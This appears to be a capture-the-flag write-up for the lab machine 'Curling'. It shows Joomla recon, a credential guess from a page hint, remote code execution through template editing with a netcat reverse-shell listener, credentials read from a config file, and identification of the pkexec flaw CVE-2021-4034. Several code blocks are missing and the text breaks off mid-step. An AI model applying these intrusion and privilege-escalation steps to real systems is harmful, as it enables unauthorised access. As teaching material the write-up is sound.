A Linux machine running a Joomla site where a hint hidden in the page source leads to credentials — and a password buried under layers of nested compression unlocks a path to a higher-privilege user.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ ip=10.129.1.139; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr'\n'',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-18 06:42 EST Nmap scan report for 10.129.1.139 Host is up (0.45s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Home |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds
Foothold
Hostname Setup
Add the host entry to /etc/hosts.
1
$ echo'10.129.1.139 curling.htb' | sudotee -a /etc/hosts
Web Fingerprinting
From the nmap and whatweb scans, we can see the web server is running Joomla CMS.
If we go to http://curling.htb/administrator/manifests/files/joomla.xml, we can confirm the server is running Joomla v3.8.8.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<extensionversion="3.6"type="file"method="upgrade"> <name>files_joomla</name> <author>Joomla! Project</author> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <copyright> (C) 2005 - 2018 Open Source Matters. All rights reserved </copyright> <license> GNU General Public License version 2 or later; see LICENSE.txt </license> <version>3.8.8</version> <creationDate>May 2018</creationDate> <-SNIP->
Secret Discovery
We also found a reference to a secret text file in the homepage source:
The first blog post is signed with the poster’s name:
1 2 3
Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!
- Floris
We try logging in using the credentials floris:Curling2018!.
Logging in to the blog succeeds, and we are welcomed as Super User. We can also use these credentials on the administrator login page at http://curling.htb/administrator/index.php.
RCE via Template Edit
Now we can go to templates, edit a page, and add malicious code to achieve RCE. We add the following code at the first line of index.php:
$ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.16.52] from (UNKNOWN) [10.129.1.139] 58524
Upgrade the shell:
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Local Enumeration and Credentials
Inspecting configuration.php in the web root reveals the following database credentials:
1 2 3 4 5 6 7 8 9 10 11
www-data@curling:/var/www/html$ cat configuration.php cat configuration.php <-SNIP-> public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'floris'; public $password = 'mYsQ!P4ssw0rd$yea!'; public $db = 'Joombla'; public $dbprefix = 'eslfu_';
<-SNIP->
We find nothing interesting inside the MySQL database:
1
www-data@curling:/var/www/html$ mysql -u floris -p'mYsQ!P4ssw0rd$yea!' Joombla
Password Recovery Chain
In floris‘ home folder, we find password_backup. It is a hexdump (ASCII text) of a bzip2 file.
Decompress the BZIP2. The extracted file is also compressed using GZIP.
1 2 3 4 5 6
$ cd files $ bunzip2 password_backup.bz2 $ ls password_backup $ file password_backup password_backup: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
Decompress the GZIP and reveal yet another compressed file:
Run linpeas.sh to look for privilege escalation paths:
1 2 3
floris@curling:~$ cd /tmp floris@curling:/tmp$ chmod +x linpeas.sh floris@curling:/tmp$ ./linpeas
We identify a likely privilege escalation path: the machine is vulnerable to CVE-2021-4034, a local privilege escalation flaw in Polkit’s pkexec utility.
1 2 3 4 5
══╣ Polkit Binary Pkexec binary found at: /usr/bin/pkexec Pkexec binary has SUID bit set! -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec pkexec version 0.105
Exploit Build Constraints
We are going to try this PoC to get our root shelll.
The machine does not have gcc to compile, and it uses an older GLIBC version: